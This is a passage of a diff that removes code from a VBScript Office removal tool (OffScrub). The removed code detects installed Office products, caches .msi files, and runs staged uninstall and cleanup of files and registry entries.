-sAllUsersProfile    = oWShell.ExpandEnvironmentStrings("%allusersprofile%")
-RegReadValue HKLM, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory", sProfilesDirectory, "REG_EXPAND_SZ"
-If NOT oFso.FolderExists(sProfilesDirectory) Then
-    sProfilesDirectory  = oFso.GetParentFolderName(oWShell.ExpandEnvironmentStrings("%userprofile%"))
-End If
-sProgramFiles       = oWShell.ExpandEnvironmentStrings("%programfiles%")
-'Deferred until after architecture check
-'sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
-
-sCommonProgramFiles = oWShell.ExpandEnvironmentStrings("%commonprogramfiles%")
-'Deferred until after architecture check
-'sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
-
-sProgramData        = oWSHell.ExpandEnvironmentStrings("%programdata%")
-sWinDir             = oWShell.ExpandEnvironmentStrings("%windir%")
-sWICacheDir         = sWinDir & "\" & "Installer"
-sScrubDir           = sTemp & "\" & SCRIPTNAME
-sScriptDir          = wscript.ScriptFullName
-sScriptDir          = Left(sScriptDir, InStrRev(sScriptDir, "\"))
-
-' Get current script host
-fCScript = UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C"
-
-'Detect if we're running on a 64 bit OS
-Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_ComputerSystem")
-For Each Item In ComputerItem
-    f64 = Instr(Left(Item.SystemType,3),"64") > 0
-    If f64 Then Exit For
-Next
-If f64 Then sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
-If f64 Then sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
-
-'Get OS details and VersionNT
-Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_OperatingSystem")
-For Each Item in ComputerItem
-    sOSinfo = sOSinfo & Item.Caption
-    sOSinfo = sOSinfo & Item.OtherTypeDescription
-    sOSinfo = sOSinfo & ", " & "SP " & Item.ServicePackMajorVersion
-    sOSinfo = sOSinfo & ", " & "Version: " & Item.Version
-    sOsVersion = Item.Version
-    sOSinfo = sOSinfo & ", " & "Codepage: " & Item.CodeSet
-    sOSinfo = sOSinfo & ", " & "Country Code: " & Item.CountryCode
-    sOSinfo = sOSinfo & ", " & "Language: " & Item.OSLanguage
-Next
-
-'Build the VersionNT number
-arrVersion = Split(sOsVersion, Delimiter(sOsVersion))
-iVersionNt = CInt(arrVersion (0)) * 100 + CInt(arrVersion (1))
-
-'Check if we're running as 32 bit process on a 64 bit OS
-If InStr(LCase(wscript.path), "syswow64") > 0 Then RelaunchAs64Host
-
-fElevated = CheckRegPermissions
-If NOT fElevated AND NOT fNoElevate Then
-    'Try to relaunch elevated
-    RelaunchElevated
-
-    'Can't relaunch. Exit out
-    If UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C" Then
-        If Not fLogInitialized Then CreateLog
-        Log "Insufficient registry access permissions - exiting"
-    End If
-    'Undo temporary entries created in ARP
-    TmpKeyCleanUp
-    wscript.quit 3
-End If
-
-'Create Dictionaries
-Set dictionaryKeepProd = CreateObject("Scripting.Dictionary")
-Set dicInstalledSku = CreateObject("Scripting.Dictionary")
-Set dicRemoveSku = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepSku = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepLis = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepFolder = CreateObject("Scripting.Dictionary")
-Set dicApps = CreateObject("Scripting.Dictionary")
-Set dicDelRegKey = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepReg = CreateObject("Scripting.Dictionary")
-Set dicSrv = CreateObject("Scripting.Dictionary")
-Set dicCSuite = CreateObject("Scripting.Dictionary")
-Set dicCSingle = CreateObject("Scripting.Dictionary")
-
-'Create the temp folder
-If Not oFso.FolderExists(sScrubDir) Then oFso.CreateFolder sScrubDir
-
-'Set the default logging directory
-sLogDir = sScrubDir
-
-'Call the command line parser
-ParseCmdLine
-
-'Ensure CScript as engine
-If NOT fCScript AND NOT fQuiet Then RelaunchAsCScript
-
-'Get Office Install Folder
-If NOT RegReadValue(HKLM,"SOFTWARE\Microsoft\Office\"&OVERSION&"\Common\InstallRoot","Path",sOInstallRoot,"REG_SZ") Then
-    sOInstallRoot = sProgramFiles & "\Microsoft Office\"&OREF
-End If
-
-'Ensure integrity of WI metadata which could fail used APIs otherwise
-EnsureValidWIMetadata HKCU,"Software\Classes\Installer\Products",COMPRESSED
-EnsureValidWIMetadata HKCR,"Installer\Products",COMPRESSED
-EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products",COMPRESSED
-EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components",COMPRESSED
-EnsureValidWIMetadata HKCR,"Installer\Components",COMPRESSED
-
-'Add initial known .exe files that might need to be closed
-dicApps.Add "communicator.exe", "communicator.exe"
-dicApps.Add "setup.exe", "setup.exe"
-Select Case OVERSIONMAJOR
-Case "12"
-Case "14"
-    dicApps.Add "bcssync.exe","bcssync.exe"
-    dicApps.Add "officesas.exe","officesas.exe"
-    dicApps.Add "officesasscheduler.exe","officesasscheduler.exe"
-    dicApps.Add "msosync.exe","msosync.exe"
-    dicApps.Add "onenotem.exe","onenotem.exe"
-Case "15"
-Case Else
-End Select
-
-'-------------------
-'Stage # 0 - Basics |
-'-------------------
-'Build a list with installed/registered Office products
-sTmp = "Stage # 0 " & chr(34) & "Basics" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-
-FindInstalledOProducts
-If dicInstalledSku.Count > 0 Then Log "Found registered product(s): " & Join(RemoveDuplicates(dicInstalledSku.Items),",") &vbCrLf
-
-'Validate the list of products we got from the command line if applicable
-ValidateRemoveSkuList
-
-'Log detection results
-If dicRemoveSku.Count > 0 Then Log "Product(s) to be removed: " & Join(RemoveDuplicates(dicRemoveSku.Items),",")
-sMode = "Selected " & ONAME & " products"
-If NOT dicRemoveSku.Count > 0 Then sMode = "Orphaned " & ONAME & " products"
-If fRemoveAll Then sMode = "All " & ONAME & " products"
-Log "Final removal mode: " & sMode
-Log "Remove OSE service: " & fRemoveOse &vbCrLf
-
-'Log preview mode if applicable
-If fDetectOnly Then Log "*************************************************************************"
-If fDetectOnly Then Log "*                          PREVIEW MODE                                 *"
-If fDetectOnly Then Log "* All uninstall and delete operations will only be logged not executed! *"
-If fDetectOnly Then Log "*************************************************************************" & vbCrLf
-
-'Check if there are legacy products installed
-CheckForLegacyProducts
-If fLegacyProductFound Then Log "Found legacy Office products that will not be removed." Else Log "No legacy Office products found."
-
-'Cache .msi files
-If dicRemoveSku.Count > 0 Then CacheMsiFiles
-
-'Log Sku/Prod detection results
-LogSkuResults
-
-'UnPin Shortcuts
-If NOT fSkipSD AND dicRemoveSku.Count > 0 Then
-    On Error Resume Next
-    Log " Searching for pinned shortcuts"
-    CleanShortcuts sAllUsersProfile, False, True
-    CleanShortcuts sProfilesDirectory, False, True
-    On Error Goto 0
-End If 'NOT SkipSD
-
-
-'--------------------------------
-'Stage # 1 - Component Detection |
-'--------------------------------
-sTmp = "Stage # 1 " & chr(34) & "Component Detection" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage1 OR fForce Then
-    'Build a list with files which are installed/registered to a product that's going to be removed
-    Log "Prepare for CleanUp stages."
-    Log "Identifying removable elements. This can take several minutes."
-    ScanComponents
-Else
-    Log "Not running Component Detection in default removal."
-End If
-
-'End all running Office applications
-If fForce OR fQuiet OR fPassive Then CloseOfficeApps
-
-'----------------------
-'Stage # 2 - Setup.exe |
-'----------------------
-sTmp = "Stage # 2 " & chr(34) & "Setup.exe" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage2 Then
-    SetupExeRemoval
-Else
-    Log "Skipping Setup.exe because bypass was requested."
-End If
-
-'------------------------
-'Stage # 3 - Msiexec.exe |
-'------------------------
-sTmp = "Stage # 3 " & chr(34) & "Msiexec.exe" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage3 Then
-    MsiexecRemoval
-Else
-    Log "Skipping Msiexec.exe because bypass was requested."
-End If
-
-'--------------------
-'Stage # 4 - CleanUp |
-'--------------------
-'Removal of files and registry settings
-sTmp = "Stage # 4 " & chr(34) & "CleanUp" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage4 Then
-
-    'Office Source Engine
-    If fRemoveOse Then RemoveOSE
-
-    'Local Installation Source (MSOCache)
-    WipeLIS
-
-    'Obsolete files
-    If fRemoveAll Then
-        FileWipeAll
-    Else
-        FileWipeIndividual
-    End If
-
-    'Empty Folders
-    DeleteEmptyFolders
-
-    'Restore Explorer if needed
-    If fForce OR fQuiet OR fPassive Then RestoreExplorer
-
-    'Registry data
-    RegWipe
-
-    'Wipe orphaned files from Windows Installer cache
-    MsiClearOrphanedFiles
-
-    'Temporary .msi files in scrubcache
-    DeleteMsiScrubCache
-
-    'Temporary files
-    DelScrubTmp
-
-Else
-    Log "Skipping CleanUp because bypass was requested."
-End If
-
-If Not sMoveMessage = "" Then Log vbCrLf & "Please remove this folder after next reboot: " & sMoveMessage
-
-'THE END
-Log vbCrLf & "End removal: " & Now & vbCrLf
-Log vbCrLf & "For detailed logging please refer to the log in folder " &chr(34)&sScrubDir&chr(34)&vbCrLf
-
-If fRebootRequired Then
-    Log vbCrLf & "A restart is required to complete the operation!"
-    If NOT (fQuiet OR fPassive OR fNoReboot) Then
-        If MsgBox("Do you want to reboot now?",vbYesNo,"Reboot Required") = VB_YES Then
-            Dim colOS, oOS
-            Dim oWmiReboot
-            Set oWmiReboot = GetObject("winmgmts:{{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
-            Set colOS = oWmiReboot.ExecQuery ("Select * from Win32_OperatingSystem")
-            For Each oOS in colOS
-                oOS.Reboot()
-            Next
-        End If
-    End If
-End If
-
-If NOT (fQuiet OR fPassive) Then
-    For Each Item in Wscript.Arguments
-        If Item = "UAC" Then
-            If fCscript Then wscript.stdout.write "Press <Enter> to close this window"
-            sTemp = wscript.stdin.read(1)
-        End If
-    Next 'Argument
-End If
-'=======================================================================================================
-'=======================================================================================================
-
-'Stage 0 - 4 Subroutines
-'=======================================================================================================
-
-'Office configuration products are listed with their configuration product name in the "Uninstall" key
-'To identify an Office configuration product all of these condiditions have to be met:
-' - "SystemComponent" does not have a value of "1" (DWORD)
-' - "OPACKAGE" (see constant declaration) entry exists and is not empty
-' - "DisplayVersion" exists and the 2 leftmost digits are "OVERSIONMAJOR"
-Sub FindInstalledOProducts
-    Dim ArpItem, File
-    Dim sCurKey, sValue, sConfigName, sProdC, sCVHValue
-    Dim sProductCodeList, sProductCode
-    Dim arrKeys, arrMultiSzValues
-    Dim fSystemComponent0, fPackages, fDisplayVersion, fReturn, fCategorized
-
-    If dicInstalledSku.Count > 0 Then Exit Sub 'Already done from InputBox prompt
-
-    'Handle orphaned products to get them added to the detection scope
-    If fTryReconcile Then
-        For Each File in oFso.GetFolder(sWICacheDir).Files
-            If Len(File.Name)>3 Then
-                Select Case LCase(Right(File.Name, 4))
-                Case ".msi"
-                    sProductCode = ""
-                    sProductCode = GetMsiProductCode(File.Path)
-                    If InScope(sProductCode) Then
-                        If NOT RegKeyExists(HKLM, REG_ARP & sProductCode) Then
-                            'Ensure the orphaned item is getting removed
-                            If Len(sSkuRemoveList) > 0 Then
-                                sSkuRemoveList = sSkuRemoveList & "," & GetProductID(Mid(sProductCode, 11, 4))
-                            Else
-                                sSkuRemoveList = GetProductID(Mid(sProductCode, 11, 4))
-                            End If
-                            'Add to ScrubDir
-                            oFso.CopyFile File.Path,sScrubDir & "\" & sProductCode & ".msi",True
-                            'Register the product with MSI
-                            MsiRegisterProduct File.Path
-                        End If 'NOT sProductCode
-                    End If 'InScope
-                Case Else
-                End Select
-            End If '>3
-        Next 'File
-    End If 'fTryReconcile
-
-    'Locate standalone Office products that have no configuration product entry and create a
-    'temporary configuration entry
-    ReDim arrTmpSKUs(-1)
-    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
-        For Each ArpItem in arrKeys
-            If InScope(ArpItem) Then
-                sCurKey = REG_ARP & ArpItem & "\"
-                fSystemComponent0 = Not (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
-                If fSystemComponent0 Then
-                    RegReadValue HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ"
-                    Redim arrMultiSzValues(0)
-                    'Logic changed to drop the LCID identifier
-                    'sConfigName = GetProductID(Mid(ArpItem,11,4)) & "_" & CInt("&h" & Mid(ArpItem,16,4))
-                    sConfigName = OREGREF & GetProductID(Mid(ArpItem, 11, 4))
-                    If NOT RegKeyExists(HKLM, REG_ARP&sConfigName) Then
-                        'Create a new ARP item
-                        ReDim Preserve arrTmpSKUs(UBound(arrTmpSKUs) + 1)
-                        arrTmpSKUs(UBound(arrTmpSKUs)) = sConfigName
-                        oReg.CreateKey HKLM, REG_ARP & sConfigName
-                        arrMultiSzValues(0) = sConfigName
-                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, OPACKAGE, arrMultiSzValues
-                        arrMultiSzValues(0) = ArpItem
-                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "Comment", "Temporary OffScrub generated key. Please delete this key!"
-                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", arrMultiSzValues
-                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayVersion", sValue
-                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayName", SCRIPTNAME & "_" & sConfigName
-                        oReg.SetDWordValue HKLM, REG_ARP & sConfigName, "SystemComponent", 0
-                    Else
-                        'Update the existing temporary ARP item
-                        fReturn = RegReadValue(HKLM, REG_ARP&sConfigName, "ProductCodes", sProdC, "REG_MULTI_SZ")
-                        If NOT InStr(sProdC, ArpItem) > 0 Then sProdC = sProdC & chr(34) & ArpItem
-                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", Split(sProdC, Chr(34))
-                    End If 'RegKeyExists
-                End If 'fSystemComponent0
-            End If 'InScope
-        Next 'ArpItem
-    End If 'RegEnumKey
-
-    'Find the configuration products
-    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
-        For Each ArpItem in arrKeys
-            sCurKey = REG_ARP & ArpItem & "\"
-            sValue = ""
-            fSystemComponent0 = NOT (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
-            fPackages = RegReadValue(HKLM, sCurKey, OPACKAGE, sValue, "REG_MULTI_SZ")
-            fDisplayVersion = RegReadValue(HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ")
-            If fDisplayVersion Then
-                If Len(sValue) > 1 Then
-                    fDisplayVersion = (Left(sValue, 2) = OVERSIONMAJOR)
-                Else
-                    fDisplayVersion = False
-                End If
-            End If
-            'fSystemComponent0 filter causes issues if the ARP entries have been hidden
-            'If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
-            If (fPackages AND fDisplayVersion) Then
-                If InStr(ArpItem,".") > 0 Then sConfigName = UCase(Mid(ArpItem, InStr(ArpItem, ".") + 1)) Else sConfigName = UCase(ArpItem)
-                If NOT dicInstalledSku.Exists(sConfigName) Then dicInstalledSku.Add sConfigName, sConfigName
-
-                'Categorize the SKU
-                'Four categories are available: ClientSuite, ClientSingleProduct, Server, C2R
-                If RegReadValue(HKLM, REG_ARP & OREGREF & sConfigName, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
-                    fCategorized = False
-                    For Each sProductCode in Split(sProductCodeList, Chr(34))
-                        If Len(sProductCode) = 38 Then
-                            If Mid(sProductCode, 11, 1) = "1" Then
-                                'Server product
-                                If NOT dicSrv.Exists(UCase(sConfigName)) Then dicSrv.Add UCase(sConfigName), sConfigName
-                                fCategorized = True
-                                Exit For
-                            Else
-                                Select Case Mid(sProductCode, 11, 4)
-                                'Client Suites
-                                Case "000F","0011","0012","0013","0014","0015","0016","0017","0018","0019","001A","001B","0029","002B","002E","002F","0030","0031","0033","0035","0037","003D","0044","0049","0061","0062","0066","006C","006D","006F","0074","00A1","00A3","00A9","00BA","00CA","00E0","0100","0103","011A"
-                                    If NOT dicCSuite.Exists(UCase(sConfigName)) Then dicCSuite.Add UCase(sConfigName), sConfigName
-                                    fCategorized = True
-                                    Exit For
-
-                                Case "007E", "008F", "008C", "24E1", "237A"
-                                    If NOT dictionaryKeepProd.Exists(sProductCode) Then dictionaryKeepProd.Add sProductCode, sConfigName
-                                    fC2rInstalled = True
-                                Case Else
-                                End Select
-                            End If
-                        End If 'Len 38
-                    Next 'sProductCode
-                    If NOT fCategorized Then
-                        If NOT dicCSingle.Exists(UCase(sConfigName)) Then dicCSingle.Add UCase(sConfigName), sConfigName
-                    End If 'fCategorized
-                End If 'RegReadValue "ProductCodes"
-            End If
-        Next 'ArpItem
-    End If 'RegEnumKey
-End Sub 'FindInstalledOProducts
-'=======================================================================================================
-
-'Check if there are Office products from previous versions on the computer
-Sub CheckForLegacyProducts
-    Const OLEGACY = "78E1-11D2-B60F-006097C998E7}.6000-11D3-8CFE-0050048383C9}.6000-11D3-8CFE-0150048383C9}.BDCA-11D1-B7AE-00C04FB92F3D}.6D54-11D4-BEE3-00C04F990354}"
-    Dim Product
-
-    'Set safe default
-    fLegacyProductFound = True
-
-    For Each Product in oMsi.Products
-        If Len(Product) = 38 Then
-            'Handle O09 - O11 Products
-            If InStr(OLEGACY, UCase(Right(Product, 28))) > 0 Then
-                'Found legacy Office product. Keep flag in default and exit
-                Exit Sub
-            End If
-            If UCase(Right(Product,PRODLEN)) = OFFICEID Then
-                Select Case Mid(Product,4,2)
-                Case "12", "14"
-                    'Found legacy Office product. Keep flag in default and exit
-                    Exit Sub
-                Case Else
-                End Select
-            End If
-        End If '38
-    Next 'Product
-    fLegacyProductFound = False
-
-End Sub 'CheckForLegacyProducts
-'=======================================================================================================
-
-'Create clean list of Products to remove.
-'Strip off bad & empty contents
-Sub ValidateRemoveSkuList
-    Dim Sku, Key, sProductCode, sProductCodeList
-    Dim arrRemoveSKUs
-
-    If fRemoveAll Then
-        'Remove all mode
-        For Each Key in dicInstalledSku.Keys
-            dicRemoveSku.Add Key,dicInstalledSku.Item(Key)
-        Next 'Key
-    Else
-        'Remove individual products or preconfigured configurations mode
-
-        'Ensure to have a string with no unexpected contents
-        sSkuRemoveList = Replace(sSkuRemoveList,";",",")
-        sSkuRemoveList = Replace(sSkuRemoveList," ","")
-        sSkuRemoveList = Replace(sSkuRemoveList,Chr(34),"")
-        While InStr(sSkuRemoveList,",,")>0
-            sSkuRemoveList = Replace(sSkuRemoveList,",,",",")
-        Wend
-
-        'Prepare 'remove' and 'keep' dictionaries to determine what has to be removed
-
-        'Initial pre-fill of 'keep' dic
-        For Each Key in dicInstalledSku.Keys
-            dictionaryKeepSku.Add Key,dicInstalledSku.Item(Key)
-        Next 'Key
-
-        'Determine contents of keep and remove dic
-        'Individual products
-        arrRemoveSKUs = Split(UCase(sSkuRemoveList),",")
-        For Each Sku in arrRemoveSKUs
-            If Sku = "OSE" Then fRemoveOse = True
-            If dictionaryKeepSku.Exists(Sku) Then
-                'A Sku to remove has been passed in
-                'remove the item from the keep dic
-                dictionaryKeepSku.Remove(Sku)
-                'Now add it to the remove dic
-                If NOT dicRemoveSku.Exists(Sku) Then dicRemoveSku.Add Sku,Sku
-            End If
-        Next 'Sku
-
-        'Client Suite Category
-        If fRemoveCSuites Then
-            For Each Key in dicInstalledSku.Keys
-                If dicCSuite.Exists(Key) Then
-                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
-                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
-                End If
-            Next 'Key
-        End If 'fRemoveCSuites
-
-        'Client Single/Standalone Category
-        If fRemoveCSingle Then
-            For Each Key in dicInstalledSku.Keys
-                If dicCSingle.Exists(Key) Then
-                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
-                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
-                End If
-            Next 'Key
-        End If 'fRemoveCSingle
-
-        'Server Category
-        If fRemoveSrv Then
-            For Each Key in dicInstalledSku.Keys
-                If dicSrv.Exists(Key) Then
-                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
-                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
-                End If
-            Next 'Key
-        End If 'fRemoveSrv
-
-        If NOT dictionaryKeepSku.Count > 0 Then fRemoveAll = True
-
-    End If 'fRemoveAll
-
-    'Fill the KeepProd dic
-    For Each Sku in dictionaryKeepSku.Keys
-        If RegReadValue(HKLM, REG_ARP & OREGREF & Sku, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
-            For Each sProductCode in Split(sProductCodeList, chr(34))
-                If Len(sProductCode) = 38 Then
-                    If NOT dictionaryKeepProd.Exists(sProductCode) Then
-                    	dictionaryKeepProd.Add sProductCode, Sku
-                    	' also add the UpgradeCode
-                    	If Not dictionaryKeepProd.Exists(GetUpgradeCode(sProductCode)) Then dictionaryKeepProd.Add GetUpgradeCode(sProductCode), Sku & "_UpgradeCode"
-                    End If
-                End If '38
-            Next 'sProductCode
-        End If
-    Next 'Sku
-
-    If fRemoveAll OR fRemoveOse Then CheckRemoveOSE
-    If fRemoveAll OR fRemoveOspp Then CheckRemoveOspp
-
-End Sub 'ValidateRemoveSkuList
-'=======================================================================================================
-
-'Check if OSE service can be scrubbed
-Sub CheckRemoveOSE
-    Const O11 = "6000-11D3-8CFE-0150048383C9}"
-    Dim Product
-
-    If fRemoveOse Then Exit Sub
-    For Each Product in oMsi.Products
-        If Len(Product) = 38 Then
-            If UCase(Right(Product, 28)) = O11 Then
-                'Found Office 2003 Product. Set flag to not remove the OSE service
-                Exit Sub
-            End If
-            If UCase(Right(Product, PRODLEN))= OFFICEID Then
-                Select Case Mid(Product, 4, 2)
-                Case "12","14","15","16","17"
-                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
-	                    'Found another Office product. Set flag to keep the OSE service
-                        fRemoveOse = False
-                        Exit Sub
-                    End If
-                Case Else
-                End Select
-            End If
-        End If '38
-    Next 'Product
-    fRemoveOse = True
-End Sub 'CheckRemoveOSE
-'=======================================================================================================
-
-'Check if OSPP service can be scrubbed
-Sub CheckRemoveOSPP
-    Dim Product
-
-    If NOT CInt(OVERSIONMAJOR) > 12 Then
-        fRemoveOspp = False
-        Exit Sub
-    End If
-
-    If fRemoveOspp Then Exit Sub
-
-    If fC2rInstalled Then
-        fRemoveOspp = False
-        Exit Sub
-    End If
-
-    For Each Product in oMsi.Products
-        If Len(Product) = 38 Then
-            If UCase(Right(Product, PRODLEN)) = OFFICEID Then
-                Select Case Mid(Product, 4, 2)
-                Case "14","15","16","17"
-                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
-						'Found another Office product. Set flag to keep the OSPP service
-                        fRemoveOspp = False
-                        Exit Sub
-                    End If
-                Case Else
-                End Select
-            End If
-        End If '38
-    Next 'Product
-    fRemoveOspp = True
-End Sub 'CheckRemoveOSPP
-'=======================================================================================================
-
-'Cache .msi files for products that will be removed in case they are needed for later file detection
-Sub CacheMsiFiles
-    Dim Product
-    Dim sMsiFile
-
-    'Non critical routine for failures.
-    'Errors will be logged but must not fail the execution
-    On Error Resume Next
-    Log " Cache .msi files to temporary Scrub folder"
-    'Cache the files
-    For Each Product in oMsi.Products
-        'Ensure valid GUID length
-        If CheckDeleteEx(Product) Then
-            CheckError "CacheMsiFiles"
-            sMsiFile = oMsi.ProductInfo(Product,"LocalPackage") : CheckError "CacheMsiFiles"
-            LogOnly " - " & Product & ".msi"
-            If oFso.FileExists(sMsiFile) Then oFso.CopyFile sMsiFile,sScrubDir & "\" & Product & ".msi",True
-            CheckError "CacheMsiFiles"
-        End If 'InScope
-    Next 'Product
-
-    Err.Clear
-End Sub 'CacheMsiFiles
-'=======================================================================================================
-
-'Build a list of all files that will be deleted
-Sub ScanComponents
-    Const MSIINSTALLSTATE_LOCAL = 3
-
-    Dim FileList, RegList, ComponentID, CompClient, Record, qView, MsiDb, CompVerbose
-    Dim Processes, Process, Prop, prod
-    Dim sQuery, sSubKeyName, sPath, sFile, sMsiFile, sCompClient, sComponent, sCompReg
-    Dim fRemoveComponent, fAffectedComponent, fIsPermanent, fIsFile, fIsFolder
-    Dim i, iProgress, iCompCnt, iRemCnt
-    Dim dicFLError, oDic, oFolderDic, dicCompPath
-    Dim hDefKey
-
-    'Logfile
-    Set FileList = oFso.OpenTextFile(sScrubDir & "\FileList.txt",FOR_WRITING,True,True)
-    Set RegList = oFso.OpenTextFile(sScrubDir & "\RegList.txt",FOR_WRITING,True,True)
-    Set CompVerbose = oFso.OpenTextFile(sScrubDir & "\CompVerbose.txt",FOR_WRITING,True,True)
-
-    'FileListError dic
-    Set dicFLError = CreateObject("Scripting.Dictionary")
-
-    Set oDic = CreateObject("Scripting.Dictionary")
-    Set oFolderDic = CreateObject("Scripting.Dictionary")
-    Set dicCompPath = CreateObject("Scripting.Dictionary")
-
-    'Prevent that API errors fail script execution
-    On Error Resume Next
-
-    iCompCnt = oMsi.Components.Count
-    If NOT Err = 0 Then
-        'API failure
-        Log "Error during components detection. Cannot complete this task."
-        Err.Clear
-        Exit Sub
-    End If
-
-    'Ensure to not divide by zero
-    If iCompCnt = 0 Then iCompCnt = 1
-    LogOnly " Scanning " & iCompCnt & " components"
-    'Enum all Components
-    For Each ComponentID In oMsi.Components
-        CompVerbose.WriteLine vbCrLf & "Checking Component: " & ComponentID
-
-        'Progress bar
-        i = i + 1
-        If iProgress < (i / iCompCnt) * 100 Then
-            If fCScript Then wscript.stdout.write "." : LogStream.Write "."
-            iProgress = iProgress + 1
-            If iProgress = 35 OR iProgress = 70 Then Log ""
-        End If
-
-        'Check if all ComponentClients will be removed
-        sCompClient = ""
-        iRemCnt = 0
-        fIsPermanent = False
-        fRemoveComponent = False 'Flag to track if the component will be completely removed
-        fAffectedComponent = False 'Flag to track if some clients remain installed who have a none shared location
-        dicCompPath.RemoveAll
-        Err.Clear
-        For Each CompClient In oMsi.ComponentClients(ComponentID)
-            CompVerbose.Write " CompClient " & CompClient & "-> "
-            If Err = 0 Then
-                'Ensure valid guid length
-                If Len(CompClient) = 38 Then
-                    fRemoveComponent = InScope(CompClient)
-                    If fRemoveComponent OR (CompClient = "{{00000000-0000-0000-0000-000000000000}") Then
-                        sPath = ""
-                        sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
-                        sPath = Replace(sPath,"?",":")
-                        'Scan for msidbComponentAttributesPermanent flag
-                        If CompClient = "{{00000000-0000-0000-0000-000000000000}" Then
-                            fIsPermanent = True
-                            iRemCnt = iRemCnt + 1
-                        End If
-                        If fRemoveComponent Then fRemoveComponent = CheckDelete(CompClient)
-                        CompVerbose.Write "CheckDelete: " & fRemoveComponent & "; "
-                        If fRemoveComponent Then
-                            iRemCnt = iRemCnt + 1
-                            fAffectedComponent = True
-                            'Since the scope remains within one Office family the keypath for the component
-                            'is assumed to be identical
-                            If sCompClient = "" Then sCompClient = CompClient
-                        ' flag the CompClient entry for removal
-                            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
-                            If NOT dicDelRegKey.Exists(sCompReg) Then
-                                dicDelRegKey.Add sCompReg,HKCR
-                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-                            End If
-                            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
-                            If NOT dicDelRegKey.Exists(sCompReg) Then
-                                dicDelRegKey.Add sCompReg,HKLM
-                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-                            End If
-                        Else
-                            If NOT dicCompPath.Exists(sPath) Then dicCompPath.Add sPath,CompClient
-                        End If
-                        CompVerbose.WriteLine "AffectedComponent: " & fAffectedComponent
-                        CompVerbose.WriteLine " CompClient now set to: " & sCompClient
-                    Else
-                        CompVerbose.Write "InScope: " & fRemoveComponent & "; "
-                    End If
-                Else
-                    CompVerbose.WriteLine "Error: Invalid metadata"
-                    If NOT dicFLError.Exists("Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient) Then _
-                        dicFLError.Add "Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient, ComponentID
-                End If '38
-            Else
-                CompVerbose.WriteLine "Error: " & Err.number & " " & Err.Description
-                Err.Clear
-            End If 'Err = 0
-        Next 'CompClient
-
-        'Determine if the component resources go away
-        sPath = ""
-        fRemoveComponent = fAffectedComponent AND (iRemCnt = oMsi.ComponentClients(ComponentID).Count)
-        CompVerbose.WriteLine " Component goes away: " & fRemoveComponent
-' This caused unintentional removals
-'        If NOT fRemoveComponent AND fAffectedComponent Then
-'            'Flag as removable if component has a unique keypath
-'            sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
